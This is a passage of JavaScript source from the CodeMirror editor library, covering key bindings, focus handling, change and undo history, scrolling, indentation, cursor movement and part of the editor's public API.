// 'go') bound to the keyname without 'Shift-'.
return dispatchKey(cm, "Shift-" + name, e, function(b) {return doHandleBinding(cm, b, true);})
|| dispatchKey(cm, name, e, function(b) {
if (typeof b == "string" ? /^go[A-Z]/.test(b) : b.motion)
return doHandleBinding(cm, b);
});
} else {
return dispatchKey(cm, name, e, function(b) { return doHandleBinding(cm, b); });
}
}
// Handle a key from the keypress event
function handleCharBinding(cm, e, ch) {
return dispatchKey(cm, "'" + ch + "'", e,
function(b) { return doHandleBinding(cm, b, true); });
}
var lastStoppedKey = null;
function onKeyDown(e) {
var cm = this;
cm.curOp.focus = activeElt();
if (signalDOMEvent(cm, e)) return;
// IE does strange things with escape.
if (ie && ie_version < 11 && e.keyCode == 27) e.returnValue = false;
var code = e.keyCode;
cm.display.shift = code == 16 || e.shiftKey;
var handled = handleKeyBinding(cm, e);
if (presto) {
lastStoppedKey = handled ? code : null;
// Opera has no cut event... we try to at least catch the key combo
if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))
cm.replaceSelection("", null, "cut");
}
// Turn mouse into crosshair when Alt is held on Mac.
if (code == 18 && !/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className))
showCrossHair(cm);
}
function showCrossHair(cm) {
var lineDiv = cm.display.lineDiv;
addClass(lineDiv, "CodeMirror-crosshair");
function up(e) {
if (e.keyCode == 18 || !e.altKey) {
rmClass(lineDiv, "CodeMirror-crosshair");
off(document, "keyup", up);
off(document, "mouseover", up);
}
}
on(document, "keyup", up);
on(document, "mouseover", up);
}
function onKeyUp(e) {
if (e.keyCode == 16) this.doc.sel.shift = false;
signalDOMEvent(this, e);
}
function onKeyPress(e) {
var cm = this;
if (eventInWidget(cm.display, e) || signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) return;
var keyCode = e.keyCode, charCode = e.charCode;
if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return;}
if ((presto && (!e.which || e.which < 10)) && handleKeyBinding(cm, e)) return;
var ch = String.fromCharCode(charCode == null ? keyCode : charCode);
if (handleCharBinding(cm, e, ch)) return;
cm.display.input.onKeyPress(e);
}
// FOCUS/BLUR EVENTS
function delayBlurEvent(cm) {
cm.state.delayingBlurEvent = true;
setTimeout(function() {
if (cm.state.delayingBlurEvent) {
cm.state.delayingBlurEvent = false;
onBlur(cm);
}
}, 100);
}
function onFocus(cm) {
if (cm.state.delayingBlurEvent) cm.state.delayingBlurEvent = false;
if (cm.options.readOnly == "nocursor") return;
if (!cm.state.focused) {
signal(cm, "focus", cm);
cm.state.focused = true;
addClass(cm.display.wrapper, "CodeMirror-focused");
// This test prevents this from firing when a context
// menu is closed (since the input reset would kill the
// select-all detection hack)
if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {
cm.display.input.reset();
if (webkit) setTimeout(function() { cm.display.input.reset(true); }, 20); // Issue #1730
}
cm.display.input.receivedFocus();
}
restartBlink(cm);
}
function onBlur(cm) {
if (cm.state.delayingBlurEvent) return;
if (cm.state.focused) {
signal(cm, "blur", cm);
cm.state.focused = false;
rmClass(cm.display.wrapper, "CodeMirror-focused");
}
clearInterval(cm.display.blinker);
setTimeout(function() {if (!cm.state.focused) cm.display.shift = false;}, 150);
}
// CONTEXT MENU HANDLING
// To make the context menu work, we need to briefly unhide the
// textarea (making it as unobtrusive as possible) to let the
// right-click take effect on it.
function onContextMenu(cm, e) {
if (eventInWidget(cm.display, e) || contextMenuInGutter(cm, e)) return;
if (signalDOMEvent(cm, e, "contextmenu")) return;
cm.display.input.onContextMenu(e);
}
function contextMenuInGutter(cm, e) {
if (!hasHandler(cm, "gutterContextMenu")) return false;
return gutterEvent(cm, e, "gutterContextMenu", false);
}
// UPDATING
// Compute the position of the end of a change (its 'to' property
// refers to the pre-change end).
var changeEnd = CodeMirror.changeEnd = function(change) {
if (!change.text) return change.to;
return Pos(change.from.line + change.text.length - 1,
lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0));
};
// Adjust a position to refer to the post-change position of the
// same text, or the end of the change if the change covers it.
function adjustForChange(pos, change) {
if (cmp(pos, change.from) < 0) return pos;
if (cmp(pos, change.to) <= 0) return changeEnd(change);
var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;
if (pos.line == change.to.line) ch += changeEnd(change).ch - change.to.ch;
return Pos(line, ch);
}
function computeSelAfterChange(doc, change) {
var out = [];
for (var i = 0; i < doc.sel.ranges.length; i++) {
var range = doc.sel.ranges[i];
out.push(new Range(adjustForChange(range.anchor, change),
adjustForChange(range.head, change)));
}
return normalizeSelection(out, doc.sel.primIndex);
}
function offsetPos(pos, old, nw) {
if (pos.line == old.line)
return Pos(nw.line, pos.ch - old.ch + nw.ch);
else
return Pos(nw.line + (pos.line - old.line), pos.ch);
}
// Used by replaceSelections to allow moving the selection to the
// start or around the replaced test. Hint may be "start" or "around".
function computeReplacedSel(doc, changes, hint) {
var out = [];
var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;
for (var i = 0; i < changes.length; i++) {
var change = changes[i];
var from = offsetPos(change.from, oldPrev, newPrev);
var to = offsetPos(changeEnd(change), oldPrev, newPrev);
oldPrev = change.to;
newPrev = to;
if (hint == "around") {
var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;
out[i] = new Range(inv ? to : from, inv ? from : to);
} else {
out[i] = new Range(from, from);
}
}
return new Selection(out, doc.sel.primIndex);
}
// Allow "beforeChange" event handlers to influence a change
function filterChange(doc, change, update) {
var obj = {
canceled: false,
from: change.from,
to: change.to,
text: change.text,
origin: change.origin,
cancel: function() { this.canceled = true; }
};
if (update) obj.update = function(from, to, text, origin) {
if (from) this.from = clipPos(doc, from);
if (to) this.to = clipPos(doc, to);
if (text) this.text = text;
if (origin !== undefined) this.origin = origin;
};
signal(doc, "beforeChange", doc, obj);
if (doc.cm) signal(doc.cm, "beforeChange", doc.cm, obj);
if (obj.canceled) return null;
return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin};
}
// Apply a change to a document, and add it to the document's
// history, and propagating it to all linked documents.
function makeChange(doc, change, ignoreReadOnly) {
if (doc.cm) {
if (!doc.cm.curOp) return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly);
if (doc.cm.state.suppressEdits) return;
}
if (hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange")) {
change = filterChange(doc, change, true);
if (!change) return;
}
// Possibly split or suppress the update based on the presence
// of read-only spans in its range.
var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);
if (split) {
for (var i = split.length - 1; i >= 0; --i)
makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [""] : change.text});
} else {
makeChangeInner(doc, change);
}
}
function makeChangeInner(doc, change) {
if (change.text.length == 1 && change.text[0] == "" && cmp(change.from, change.to) == 0) return;
var selAfter = computeSelAfterChange(doc, change);
addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);
makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));
var rebased = [];
linkedDocs(doc, function(doc, sharedHist) {
if (!sharedHist && indexOf(rebased, doc.history) == -1) {
rebaseHist(doc.history, change);
rebased.push(doc.history);
}
makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));
});
}
// Revert a change stored in a document's history.
function makeChangeFromHistory(doc, type, allowSelectionOnly) {
if (doc.cm && doc.cm.state.suppressEdits && !allowSelectionOnly) return;
var hist = doc.history, event, selAfter = doc.sel;
var source = type == "undo" ? hist.done : hist.undone, dest = type == "undo" ? hist.undone : hist.done;
// Verify that there is a useable event (so that ctrl-z won't
// needlessly clear selection events)
for (var i = 0; i < source.length; i++) {
event = source[i];
if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)
break;
}
if (i == source.length) return;
hist.lastOrigin = hist.lastSelOrigin = null;
for (;;) {
event = source.pop();
if (event.ranges) {
pushSelectionToHistory(event, dest);
if (allowSelectionOnly && !event.equals(doc.sel)) {
setSelection(doc, event, {clearRedo: false});
return;
}
selAfter = event;
}
else break;
}
// Build up a reverse change object to add to the opposite history
// stack (redo when undoing, and vice versa).
var antiChanges = [];
pushSelectionToHistory(selAfter, dest);
dest.push({changes: antiChanges, generation: hist.generation});
hist.generation = event.generation || ++hist.maxGeneration;
var filter = hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange");
for (var i = event.changes.length - 1; i >= 0; --i) {
var change = event.changes[i];
change.origin = type;
if (filter && !filterChange(doc, change, false)) {
source.length = 0;
return;
}
antiChanges.push(historyChangeFromChange(doc, change));
var after = i ? computeSelAfterChange(doc, change) : lst(source);
makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));
if (!i && doc.cm) doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)});
var rebased = [];
// Propagate to the linked documents
linkedDocs(doc, function(doc, sharedHist) {
if (!sharedHist && indexOf(rebased, doc.history) == -1) {
rebaseHist(doc.history, change);
rebased.push(doc.history);
}
makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));
});
}
}
// Sub-views need their line numbers shifted when text is added
// above or below them in the parent document.
function shiftDoc(doc, distance) {
if (distance == 0) return;
doc.first += distance;
doc.sel = new Selection(map(doc.sel.ranges, function(range) {
return new Range(Pos(range.anchor.line + distance, range.anchor.ch),
Pos(range.head.line + distance, range.head.ch));
}), doc.sel.primIndex);
if (doc.cm) {
regChange(doc.cm, doc.first, doc.first - distance, distance);
for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)
regLineChange(doc.cm, l, "gutter");
}
}
// More lower-level change function, handling only a single document
// (not linked ones).
function makeChangeSingleDoc(doc, change, selAfter, spans) {
if (doc.cm && !doc.cm.curOp)
return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans);
if (change.to.line < doc.first) {
shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));
return;
}
if (change.from.line > doc.lastLine()) return;
// Clip the change to the size of this doc
if (change.from.line < doc.first) {
var shift = change.text.length - 1 - (doc.first - change.from.line);
shiftDoc(doc, shift);
change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),
text: [lst(change.text)], origin: change.origin};
}
var last = doc.lastLine();
if (change.to.line > last) {
change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),
text: [change.text[0]], origin: change.origin};
}
change.removed = getBetween(doc, change.from, change.to);
if (!selAfter) selAfter = computeSelAfterChange(doc, change);
if (doc.cm) makeChangeSingleDocInEditor(doc.cm, change, spans);
else updateDoc(doc, change, spans);
setSelectionNoUndo(doc, selAfter, sel_dontScroll);
}
// Handle the interaction of a change to a document with the editor
// that this document is part of.
function makeChangeSingleDocInEditor(cm, change, spans) {
var doc = cm.doc, display = cm.display, from = change.from, to = change.to;
var recomputeMaxLength = false, checkWidthStart = from.line;
if (!cm.options.lineWrapping) {
checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));
doc.iter(checkWidthStart, to.line + 1, function(line) {
if (line == display.maxLine) {
recomputeMaxLength = true;
return true;
}
});
}
if (doc.sel.contains(change.from, change.to) > -1)
signalCursorActivity(cm);
updateDoc(doc, change, spans, estimateHeight(cm));
if (!cm.options.lineWrapping) {
doc.iter(checkWidthStart, from.line + change.text.length, function(line) {
var len = lineLength(line);
if (len > display.maxLineLength) {
display.maxLine = line;
display.maxLineLength = len;
display.maxLineChanged = true;
recomputeMaxLength = false;
}
});
if (recomputeMaxLength) cm.curOp.updateMaxLine = true;
}
// Adjust frontier, schedule worker
doc.frontier = Math.min(doc.frontier, from.line);
startWorker(cm, 400);
var lendiff = change.text.length - (to.line - from.line) - 1;
// Remember that these lines changed, for updating the display
if (change.full)
regChange(cm);
else if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))
regLineChange(cm, from.line, "text");
else
regChange(cm, from.line, to.line + 1, lendiff);
var changesHandler = hasHandler(cm, "changes"), changeHandler = hasHandler(cm, "change");
if (changeHandler || changesHandler) {
var obj = {
from: from, to: to,
text: change.text,
removed: change.removed,
origin: change.origin
};
if (changeHandler) signalLater(cm, "change", cm, obj);
if (changesHandler) (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj);
}
cm.display.selForContextMenu = null;
}
function replaceRange(doc, code, from, to, origin) {
if (!to) to = from;
if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; }
if (typeof code == "string") code = doc.splitLines(code);
makeChange(doc, {from: from, to: to, text: code, origin: origin});
}
// SCROLLING THINGS INTO VIEW
// If an editor sits on the top or bottom of the window, partially
// scrolled out of view, this ensures that the cursor is visible.
function maybeScrollWindow(cm, coords) {
if (signalDOMEvent(cm, "scrollCursorIntoView")) return;
var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;
if (coords.top + box.top < 0) doScroll = true;
else if (coords.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) doScroll = false;
if (doScroll != null && !phantom) {
var scrollNode = elt("div", "\u200b", null, "position: absolute; top: " +
(coords.top - display.viewOffset - paddingTop(cm.display)) + "px; height: " +
(coords.bottom - coords.top + scrollGap(cm) + display.barHeight) + "px; left: " +
coords.left + "px; width: 2px;");
cm.display.lineSpace.appendChild(scrollNode);
scrollNode.scrollIntoView(doScroll);
cm.display.lineSpace.removeChild(scrollNode);
}
}
// Scroll a given position into view (immediately), verifying that
// it actually became visible (as line heights are accurately
// measured, the position of something may 'drift' during drawing).
function scrollPosIntoView(cm, pos, end, margin) {
if (margin == null) margin = 0;
for (var limit = 0; limit < 5; limit++) {
var changed = false, coords = cursorCoords(cm, pos);
var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);
var scrollPos = calculateScrollPos(cm, Math.min(coords.left, endCoords.left),
Math.min(coords.top, endCoords.top) - margin,
Math.max(coords.left, endCoords.left),
Math.max(coords.bottom, endCoords.bottom) + margin);
var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;
if (scrollPos.scrollTop != null) {
setScrollTop(cm, scrollPos.scrollTop);
if (Math.abs(cm.doc.scrollTop - startTop) > 1) changed = true;
}
if (scrollPos.scrollLeft != null) {
setScrollLeft(cm, scrollPos.scrollLeft);
if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) changed = true;
}
if (!changed) break;
}
return coords;
}
// Scroll a given set of coordinates into view (immediately).
function scrollIntoView(cm, x1, y1, x2, y2) {
var scrollPos = calculateScrollPos(cm, x1, y1, x2, y2);
if (scrollPos.scrollTop != null) setScrollTop(cm, scrollPos.scrollTop);
if (scrollPos.scrollLeft != null) setScrollLeft(cm, scrollPos.scrollLeft);
}
// Calculate a new scroll position needed to scroll the given
// rectangle into view. Returns an object with scrollTop and
// scrollLeft properties. When these are undefined, the
// vertical/horizontal position does not need to be adjusted.
function calculateScrollPos(cm, x1, y1, x2, y2) {
var display = cm.display, snapMargin = textHeight(cm.display);
if (y1 < 0) y1 = 0;
var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;
var screen = displayHeight(cm), result = {};
if (y2 - y1 > screen) y2 = y1 + screen;
var docBottom = cm.doc.height + paddingVert(display);
var atTop = y1 < snapMargin, atBottom = y2 > docBottom - snapMargin;
if (y1 < screentop) {
result.scrollTop = atTop ? 0 : y1;
} else if (y2 > screentop + screen) {
var newTop = Math.min(y1, (atBottom ? docBottom : y2) - screen);
if (newTop != screentop) result.scrollTop = newTop;
}
var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft;
var screenw = displayWidth(cm) - (cm.options.fixedGutter ? display.gutters.offsetWidth : 0);
var tooWide = x2 - x1 > screenw;
if (tooWide) x2 = x1 + screenw;
if (x1 < 10)
result.scrollLeft = 0;
else if (x1 < screenleft)
result.scrollLeft = Math.max(0, x1 - (tooWide ? 0 : 10));
else if (x2 > screenw + screenleft - 3)
result.scrollLeft = x2 + (tooWide ? 0 : 10) - screenw;
return result;
}
// Store a relative adjustment to the scroll position in the current
// operation (to be applied when the operation finishes).
function addToScrollPos(cm, left, top) {
if (left != null || top != null) resolveScrollToPos(cm);
if (left != null)
cm.curOp.scrollLeft = (cm.curOp.scrollLeft == null ? cm.doc.scrollLeft : cm.curOp.scrollLeft) + left;
if (top != null)
cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;
}
// Make sure that at the end of the operation the current cursor is
// shown.
function ensureCursorVisible(cm) {
resolveScrollToPos(cm);
var cur = cm.getCursor(), from = cur, to = cur;
if (!cm.options.lineWrapping) {
from = cur.ch ? Pos(cur.line, cur.ch - 1) : cur;
to = Pos(cur.line, cur.ch + 1);
}
cm.curOp.scrollToPos = {from: from, to: to, margin: cm.options.cursorScrollMargin, isCursor: true};
}
// When an operation has its scrollToPos property set, and another
// scroll action is applied before the end of the operation, this
// 'simulates' scrolling that position into view in a cheap way, so
// that the effect of intermediate scroll commands is not ignored.
function resolveScrollToPos(cm) {
var range = cm.curOp.scrollToPos;
if (range) {
cm.curOp.scrollToPos = null;
var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to);
var sPos = calculateScrollPos(cm, Math.min(from.left, to.left),
Math.min(from.top, to.top) - range.margin,
Math.max(from.right, to.right),
Math.max(from.bottom, to.bottom) + range.margin);
cm.scrollTo(sPos.scrollLeft, sPos.scrollTop);
}
}
// API UTILITIES
// Indent the given line. The how parameter can be "smart",
// "add"/null, "subtract", or "prev". When aggressive is false
// (typically set to true for forced single-line indents), empty
// lines are not indented, and places where the mode returns Pass
// are left alone.
function indentLine(cm, n, how, aggressive) {
var doc = cm.doc, state;
if (how == null) how = "add";
if (how == "smart") {
// Fall back to "prev" when the mode doesn't have an indentation
// method.
if (!doc.mode.indent) how = "prev";
else state = getStateBefore(cm, n);
}
var tabSize = cm.options.tabSize;
var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);
if (line.stateAfter) line.stateAfter = null;
var curSpaceString = line.text.match(/^\s*/)[0], indentation;
if (!aggressive && !/\S/.test(line.text)) {
indentation = 0;
how = "not";
} else if (how == "smart") {
indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);
if (indentation == Pass || indentation > 150) {
if (!aggressive) return;
how = "prev";
}
}
if (how == "prev") {
if (n > doc.first) indentation = countColumn(getLine(doc, n-1).text, null, tabSize);
else indentation = 0;
} else if (how == "add") {
indentation = curSpace + cm.options.indentUnit;
} else if (how == "subtract") {
indentation = curSpace - cm.options.indentUnit;
} else if (typeof how == "number") {
indentation = curSpace + how;
}
indentation = Math.max(0, indentation);
var indentString = "", pos = 0;
if (cm.options.indentWithTabs)
for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += "\t";}
if (pos < indentation) indentString += spaceStr(indentation - pos);
if (indentString != curSpaceString) {
replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), "+input");
line.stateAfter = null;
return true;
} else {
// Ensure that, if the cursor was in the whitespace at the start
// of the line, it is moved to the end of that space.
for (var i = 0; i < doc.sel.ranges.length; i++) {
var range = doc.sel.ranges[i];
if (range.head.line == n && range.head.ch < curSpaceString.length) {
var pos = Pos(n, curSpaceString.length);
replaceOneSelection(doc, i, new Range(pos, pos));
break;
}
}
}
}
// Utility for applying a change to a line by handle or number,
// returning the number and optionally registering the line as
// changed.
function changeLine(doc, handle, changeType, op) {
var no = handle, line = handle;
if (typeof handle == "number") line = getLine(doc, clipLine(doc, handle));
else no = lineNo(handle);
if (no == null) return null;
if (op(line, no) && doc.cm) regLineChange(doc.cm, no, changeType);
return line;
}
// Helper for deleting text near the selection(s), used to implement
// backspace, delete, and similar functionality.
function deleteNearSelection(cm, compute) {
var ranges = cm.doc.sel.ranges, kill = [];
// Build up a set of ranges to kill first, merging overlapping
// ranges.
for (var i = 0; i < ranges.length; i++) {
var toKill = compute(ranges[i]);
while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {
var replaced = kill.pop();
if (cmp(replaced.from, toKill.from) < 0) {
toKill.from = replaced.from;
break;
}
}
kill.push(toKill);
}
// Next, remove those actual ranges.
runInOp(cm, function() {
for (var i = kill.length - 1; i >= 0; i--)
replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete");
ensureCursorVisible(cm);
});
}
// Used for horizontal relative motion. Dir is -1 or 1 (left or
// right), unit can be "char", "column" (like char, but doesn't
// cross line boundaries), "word" (across next word), or "group" (to
// the start of next group of word or non-word-non-whitespace
// chars). The visually param controls whether, in right-to-left
// text, direction 1 means to move towards the next index in the
// string, or towards the character to the right of the current
// position. The resulting position will have a hitSide=true
// property if it reached the end of the document.
function findPosH(doc, pos, dir, unit, visually) {
var line = pos.line, ch = pos.ch, origDir = dir;
var lineObj = getLine(doc, line);
function findNextLine() {
var l = line + dir;
if (l < doc.first || l >= doc.first + doc.size) return false
line = l;
return lineObj = getLine(doc, l);
}
function moveOnce(boundToLine) {
var next = (visually ? moveVisually : moveLogically)(lineObj, ch, dir, true);
if (next == null) {
if (!boundToLine && findNextLine()) {
if (visually) ch = (dir < 0 ? lineRight : lineLeft)(lineObj);
else ch = dir < 0 ? lineObj.text.length : 0;
} else return false
} else ch = next;
return true;
}
if (unit == "char") {
moveOnce()
} else if (unit == "column") {
moveOnce(true)
} else if (unit == "word" || unit == "group") {
var sawType = null, group = unit == "group";
var helper = doc.cm && doc.cm.getHelper(pos, "wordChars");
for (var first = true;; first = false) {
if (dir < 0 && !moveOnce(!first)) break;
var cur = lineObj.text.charAt(ch) || "\n";
var type = isWordChar(cur, helper) ? "w"
: group && cur == "\n" ? "n"
: !group || /\s/.test(cur) ? null
: "p";
if (group && !first && !type) type = "s";
if (sawType && sawType != type) {
if (dir < 0) {dir = 1; moveOnce();}
break;
}
if (type) sawType = type;
if (dir > 0 && !moveOnce(!first)) break;
}
}
var result = skipAtomic(doc, Pos(line, ch), pos, origDir, true);
if (!cmp(pos, result)) result.hitSide = true;
return result;
}
// For relative vertical movement. Dir may be -1 or 1. Unit can be
// "page" or "line". The resulting position will have a hitSide=true
// property if it reached the end of the document.
function findPosV(cm, pos, dir, unit) {
var doc = cm.doc, x = pos.left, y;
if (unit == "page") {
var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);
y = pos.top + dir * (pageSize - (dir < 0 ? 1.5 : .5) * textHeight(cm.display));
} else if (unit == "line") {
y = dir > 0 ? pos.bottom + 3 : pos.top - 3;
}
for (;;) {
var target = coordsChar(cm, x, y);
if (!target.outside) break;
if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break; }
y += dir * 5;
}
return target;
}
// EDITOR METHODS
// The publicly visible API. Note that methodOp(f) means
// 'wrap f in an operation, performed on its `this` parameter'.
// This is not the complete set of editor methods. Most of the
// methods defined on the Doc type are also injected into
// CodeMirror.prototype, for backwards compatibility and
// convenience.
CodeMirror.prototype = {
constructor: CodeMirror,
focus: function(){window.focus(); this.display.input.focus();},
setOption: function(option, value) {
var options = this.options, old = options[option];
if (options[option] == value && option != "mode") return;
options[option] = value;
if (optionHandlers.hasOwnProperty(option))
operation(this, optionHandlers[option])(this, value, old);
},
getOption: function(option) {return this.options[option];},
getDoc: function() {return this.doc;},
addKeyMap: function(map, bottom) {
this.state.keyMaps[bottom ? "push" : "unshift"](getKeyMap(map));
},
removeKeyMap: function(map) {
var maps = this.state.keyMaps;
for (var i = 0; i < maps.length; ++i)
if (maps[i] == map || maps[i].name == map) {
maps.splice(i, 1);
return true;
}
},
addOverlay: methodOp(function(spec, options) {
var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);
if (mode.startState) throw new Error("Overlays may not be stateful.");
insertSorted(this.state.overlays,
{mode: mode, modeSpec: spec, opaque: options && options.opaque,
priority: (options && options.priority) || 0},
function(overlay) { return overlay.priority })
this.state.modeGen++;
regChange(this);
}),
removeOverlay: methodOp(function(spec) {
var overlays = this.state.overlays;
for (var i = 0; i < overlays.length; ++i) {
var cur = overlays[i].modeSpec;
if (cur == spec || typeof spec == "string" && cur.name == spec) {
overlays.splice(i, 1);
this.state.modeGen++;
regChange(this);
return;
}
}
}),
indentLine: methodOp(function(n, dir, aggressive) {
if (typeof dir != "string" && typeof dir != "number") {
if (dir == null) dir = this.options.smartIndent ? "smart" : "prev";
else dir = dir ? "add" : "subtract";
}
if (isLine(this.doc, n)) indentLine(this, n, dir, aggressive);
}),
indentSelection: methodOp(function(how) {
var ranges = this.doc.sel.ranges, end = -1;
for (var i = 0; i < ranges.length; i++) {
var range = ranges[i];
if (!range.empty()) {
var from = range.from(), to = range.to();
var start = Math.max(end, from.line);
end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;
for (var j = start; j < end; ++j)
indentLine(this, j, how);
var newRanges = this.doc.sel.ranges;
if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)
replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll);
} else if (range.head.line > end) {
indentLine(this, range.head.line, how, true);
end = range.head.line;
if (i == this.doc.sel.primIndex) ensureCursorVisible(this);
}
}
}),
// Fetch the parser token for a given character. Useful for hacks
// that want to inspect the mode state (say, for completion).
getTokenAt: function(pos, precise) {
return takeToken(this, pos, precise);
},
getLineTokens: function(line, precise) {
return takeToken(this, Pos(line), precise, true);
},
getTokenTypeAt: function(pos) {
pos = clipPos(this.doc, pos);
var styles = getLineStyles(this, getLine(this.doc, pos.line));
var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;
var type;
if (ch == 0) type = styles[2];
else for (;;) {
var mid = (before + after) >> 1;
if ((mid ? styles[mid * 2 - 1] : 0) >= ch) after = mid;
else if (styles[mid * 2 + 1] < ch) before = mid + 1;
else { type = styles[mid * 2 + 2]; break; }
}
var cut = type ? type.indexOf("cm-overlay ") : -1;
return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1);
},
getModeAt: function(pos) {
var mode = this.doc.mode;
if (!mode.innerMode) return mode;
return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode;
},
getHelper: function(pos, type) {
return this.getHelpers(pos, type)[0];
},
getHelpers: function(pos, type) {
var found = [];
if (!helpers.hasOwnProperty(type)) return found;
var help = helpers[type], mode = this.getModeAt(pos);
if (typeof mode[type] == "string") {
if (help[mode[type]]) found.push(help[mode[type]]);
} else if (mode[type]) {
for (var i = 0; i < mode[type].length; i++) {
var val = help[mode[type][i]];
if (val) found.push(val);
}
} else if (mode.helperType && help[mode.helperType]) {
found.push(help[mode.helperType]);
} else if (help[mode.name]) {
found.push(help[mode.name]);
}
for (var i = 0; i < help._global.length; i++) {
var cur = help._global[i];
if (cur.pred(mode, this) && indexOf(found, cur.val) == -1)
found.push(cur.val);
}
return found;
},
getStateAfter: function(line, precise) {
var doc = this.doc;
line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);
return getStateBefore(this, line + 1, precise);
},
cursorCoords: function(start, mode) {
var pos, range = this.doc.sel.primary();
if (start == null) pos = range.head;
else if (typeof start == "object") pos = clipPos(this.doc, start);
else pos = start ? range.from() : range.to();
return cursorCoords(this, pos, mode || "page");
},
charCoords: function(pos, mode) {
return charCoords(this, clipPos(this.doc, pos), mode || "page");
},
coordsChar: function(coords, mode) {
coords = fromCoordSystem(this, coords, mode || "page");
return coordsChar(this, coords.left, coords.top);
},
lineAtHeight: function(height, mode) {
height = fromCoordSystem(this, {top: height, left: 0}, mode || "page").top;
return lineAtHeight(this.doc, height + this.display.viewOffset);
},
heightAtLine: function(line, mode) {
var end = false, lineObj;
if (typeof line == "number") {
var last = this.doc.first + this.doc.size - 1;
if (line < this.doc.first) line = this.doc.first;
else if (line > last) { line = last; end = true; }
lineObj = getLine(this.doc, line);
} else {
lineObj = line;
}
return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || "page").top +
(end ? this.doc.height - heightAtLine(lineObj) : 0);
},
defaultTextHeight: function() { return textHeight(this.display); },
defaultCharWidth: function() { return charWidth(this.display); },
setGutterMarker: methodOp(function(line, gutterID, value) {
return changeLine(this.doc, line, "gutter", function(line) {
var markers = line.gutterMarkers || (line.gutterMarkers = {});
markers[gutterID] = value;
if (!value && isEmpty(markers)) line.gutterMarkers = null;
return true;
});
}),
clearGutter: methodOp(function(gutterID) {
var cm = this, doc = cm.doc, i = doc.first;
doc.iter(function(line) {
if (line.gutterMarkers && line.gutterMarkers[gutterID]) {
line.gutterMarkers[gutterID] = null;
regLineChange(cm, i, "gutter");
if (isEmpty(line.gutterMarkers)) line.gutterMarkers = null;
}
++i;
});
}),
lineInfo: function(line) {
if (typeof line == "number") {
if (!isLine(this.doc, line)) return null;
var n = line;
line = getLine(this.doc, line);
if (!line) return null;
} else {
var n = lineNo(line);
if (n == null) return null;
}
return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,
textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,
widgets: line.widgets};
},
getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo};},
addWidget: function(pos, node, scroll, vert, horiz) {
var display = this.display;
pos = cursorCoords(this, clipPos(this.doc, pos));
var top = pos.bottom, left = pos.left;
node.style.position = "absolute";
node.setAttribute("cm-ignore-events", "true");
this.display.input.setUneditable(node);
display.sizer.appendChild(node);
if (vert == "over") {
top = pos.top;
} else if (vert == "above" || vert == "near") {
var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),
hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);
// Default to positioning above (if specified and possible); otherwise default to positioning below
